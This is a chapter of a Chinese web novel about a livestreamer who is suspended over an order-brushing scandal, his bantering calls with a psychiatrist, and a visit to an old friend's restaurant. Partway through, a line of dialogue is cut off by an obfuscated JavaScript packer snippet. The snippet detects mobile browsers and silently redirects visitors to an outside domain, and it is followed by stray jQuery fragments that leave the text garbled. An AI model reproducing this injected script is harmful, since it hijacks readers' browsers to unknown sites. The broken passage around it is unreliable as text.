27.能歌善舞倾城色

作品:《关键词

    小琪琪看了一眼卓恩遇后随着大家一起出去了,办公室里只剩下了几个人。


    谢少川站起身,为大家逐一斟满咖啡,而卓恩遇则始终保持着低头的姿态,似乎在沉思着什么。


    项时越暂时没过问,转头严肃的盯着工程部的问:“刷单概率多少?”


    “百分之八十,还有一些是个人原因退款。”


    项时越那深邃如渊的眼眸微微眯合,他点燃一根香烟,深吸了一口。


    “平台禁止任何商家主播刷单,刷评,如果一旦发现会罚款,严重者直接强制关闭店铺。”


    “所以这次的事情很严重。”谢少川皱着眉头,表情也不好看,“小卓这次的事情在平台已经闹得沸沸扬扬,一旦有心人效仿,那市场就乱了。不止如此,平台还可能面临市场监管局的审查,对我们而言,有害无益。因此,我建议在这一个月内,他应当暂停直播。”


    办公室的气氛再次凝重起来,众人的目光不约而同地落在沉思之中,其中几人还不时偷偷瞥向卓恩遇。


    良久,卓恩遇缓缓抬起头,面上浮起一丝笑意:“项总,正如谢总所言,这个月……我决定暂停直播,听从公司的安排。”


    项时越决不会让私人情感影响公务,即便千俞请求他对卓恩遇多加关照,除非是千俞本人,否则在他眼中,众人皆一视同仁。


    所以谢少川的想法也基本和他一致。


    暂停卓恩遇的直播是目前看来最为妥善的决策。刷单行为本质上是一种欺诈,无论源于同行的恶意攻击还是主播之间的竞争,这些行为都不应波及到平台以及时越公司的声誉。


    不过他也不会让卓恩遇心里感到不平衡。


    “阿遇,上次你提的服装自制,正好借这次机会去学习一下。”项时越起身拍了拍他肩膀,安慰道,“凡事要稳妥,在你没有坚硬的翅膀时,你必须虚心学习,接受失败,从而获得更多胜利。给你三天休息时间,4号上午挑一个人跟你去宁波出差,一个月时间,我希望你回来带给我惊喜。”


    卓恩遇个性随和,极易感到满足。面对停播的沉重打击,他虽感痛心,但若置于停播与学习机遇的天平两端,他必将毫不犹豫地倾向于后者。


    “谢谢项哥。”


    项时越咧嘴一笑:“好好干,别让你千俞哥失望。”


    散场之后,卓恩遇停播的消息已经传遍开来,引来旁观者的热议,也有幸灾乐祸者的冷嘲热讽,但更多的是对他的团队给予安慰的声音。


    虽然停播,但工作还要继续,卓恩遇团队有三个助理主播,两个女生,一个男生。


    他停播,这三个主播可没有停,所以他在自己的LOOK里写了道歉信,因为直播事件与平台达成共识,暂时停播一个月,这一个月里会有助理主播来播,希望大家多多支持一下。


    与团队交代好以后,卓恩遇找了助理男主播凡哥,凡哥是卓恩遇从其他平台挖来的,之前和他在上一家平台经常连麦,所以挖墙脚挖得很轻松。


    他去学习这件事情公司并没有公布,所以卓恩遇也只告诉了这三个助理主播,不是他不信任自己的团队,就是因为信任,所以他不想失望。


    之所以选择带凡哥走,是因为凡哥会设计,眼光也毒辣,能看到他看不到的东西,所以要去学习,没有比他更合适的人了。


    商量好以后,卓恩遇先回家了,刚出电梯手机便响了。


    卓恩遇几乎敢肯定来电人是谁,然而看到来电后却愣住了。


    并不是乔泽,是乔逸。


    “喂?”


    那边急切的问:“你在哪?”


    “……在公司,正准备回家呢。”


    乔逸没有拐弯抹角,直接问他:“为什么让你停播?”


    卓恩遇心情愉悦,笑道:“乔医生是在关心我吗?”


    ”我是你主治医生,关心你应该的。“


    卓恩遇几乎可以清晰地描绘出,乔逸此时那无辜的面庞上,是如何吐出这样的话来:“你才是个神经病,需要治疗的明明是你!”


    乔逸并不生气,只是说:“听你还有心情骂我,那看来是没什么事了,拜拜!”


    ”……”


    “哎,等等!”


    乔逸其实也没真想挂电话:“如果是想来治疗,小朋友,我这里随时欢迎你来。”


    卓恩遇往门口走,问他:“你今天,不忙吗?”


    “忙啊,今天有一场大手术,比如现在,我正在手术室给一个病人脑袋开瓢呢。”


    卓恩遇:“……”


    乔逸语气平淡,没觉得哪里不对,问他:“如果你想和我谈恋爱的话,我想此刻并不太忙。”


    “艹,谈你大爷!你真特么是个疯子!”


    卓恩忍不住轻斥一句,随即迅速挂断电话,深怕延迟片刻,乔逸便会让人头上再多出一个洞来!


    我本打算邀请乔逸外出共餐,以示对他昨晚慷慨留宿的谢意,但接听那通电话后,他立刻打消了这个念头。。


    约谁都不能随便约乔逸,因为你不知道他什么时候会在给人做开瓢手术。


    挂了电话卓恩遇走路回了宿舍。


    今天宿舍门依旧打不开,宿舍现在也没人在,卓恩遇抬头看了眼门,转身出去了,等晚上再过来。


    本想回来收拾一下东西,现在看来门暂时是进不去了。


    其实他明白为什么那两人突然这么对他。


    他听凡哥八卦过,小琪琪和乐淘淘人事暧昧不清,而那个大学生库管,是小琪琪介绍进来的人。


    两个人都不是他卓恩遇的人,如今他和小琪琪虽然没有明目张胆公开作对,但明眼人都看的出来,小琪琪迫不及待想要顶替自己的位置。


    想到这里卓恩遇就觉得可笑。


    小琪琪经常借机坐项时越的车,故意和项时越走得近,目的就是让公司的人以为她才是项总力捧的那个人。


    而不是他卓恩遇。


    他只是不屑于对付她,如果项时越是那种人,千俞也不会等他七八年。


    如果他真想搞小琪琪,他大可去告诉千俞,让项时越开了她。


    可他不会这么做,也不可能去这么做。他虽然被嘲讽学历低,连有些字可能都不认识,可他是个坦坦荡荡的男子汉,不偷不抢,凭自己的努力挣来的一切,不丢人。


    “哎,阿遇?今天怎么有时间过来?”


    “青哥,好久不见。”


    青哥笑着过来拍了拍他肩膀:“不仔细看我还没认出来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990205|159909||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,别说,长发还挺适合你的。”


    卓恩遇缓步趋前,落座于旧地,自从节目开播以来,他已许久未曾踏足这片熟悉的空间。


    “中午想吃点什么?青哥给你做。”


    “青哥,帮我炒两菜,我带走。”


    青哥点头应下,朝后堂喊了一嗓子,自己过来坐下陪卓恩遇。


    “阿遇,现在工作怎么样?还顺利吗?”


    “挺好的,一切也还算顺利。”


    卓恩遇本打算向他述说项时越身为自己老板的种种事迹,然而转念一想,终究作罢。青哥与千俞相识较早,他对此必然了如指掌。


    青哥搓了搓寸头,笑道:“你嫂子每天晚上都看你直播,要不你是我弟弟,青哥都快吃醋了。”


    卓恩遇捂嘴低笑:“青哥,嫂子哪来的?先前还没呢,这才多久啊?”


    青哥比卓恩遇胖多了,一笑眼睛都快没了,被这么一问,还有点不好意思了起来。


    “就你走后,我新招的服务员,她家是农村的,人踏实,干活也勤快,主要是也不嫌弃我,愿意跟着我经营这家饭店。”


    卓恩静静地聆听着,他曾聆听千俞述说过有关青哥的一些旧事。青哥曾经身陷囹圄,刑满释放后,却发现双亲已离世,他孤身一人,历经磨难,终于凭借自己的努力,创办了这家店铺,以维持生计。


    众所周知青哥曾身陷囹圄,却鲜有人知晓,他青春岁月里的满怀热忱,正是导致他蒙冤入狱的根源。


    因此,千俞总是不失时机地提醒他:“阿遇,别再对他人轻易动容,你自身亦值得同情,然而世间少有援手。要牢记,这世上无人愿意倾听你为己申辩的声音。”


    青哥的脸上洋溢着满满的幸福感,爱情的滋养显而易见。身份的高低、学历的深浅不再重要,重要的是有那样一个人,不介意你周身的烟火气息,愿意与你共度风雨,共尝苦涩。


    这样的爱情,挺好的。


    今日阳光正好,卓恩遇打车报了地址。


    “师傅,麻烦四区精神病院。”


    “好嘞,您系好安全带。”


    卓恩遇曾对那个地方极为抵触,每次踏足其间,他心中便会长久地涌起不适之感,更令他难以忍受的是父亲的那副面容。


    那副披着人皮的恶魔,在往昔的十数载中,将其折磨得痛不欲生,令他一生的岁月都笼罩在惊恐与苦楚之中,使他丧失了母亲的庇护,永远背负着无家可归的孤苦命运。


    他只觉千刀万剐都不为过!


    然而在今日,他抬起头颅,尽情地沐浴在阳光的恩赐中,不经意间,四区精神病院中似乎有那样一个人,让他念念不忘,宛如天空中温暖的阳光,缓缓地洒进他的心田。


    “医生,我要不要再拍个片子看看呢?”


    “不用,你什么病也没有,回家吧。”


    就诊的人没起身,犹豫了一会又说:“可是……可是百度说我……有可能是四郎的爱妃,我知道我不可能是嬛嬛,如果是……那就只能是纯元皇后了。”


    乔逸:“……”


    就诊人一脸哭相又说:“我就说最近总是做梦,梦到四郎站在走廊下向我招手,年少时的他虽然还是个王爷,但那个时候最爱的人才是我啊!”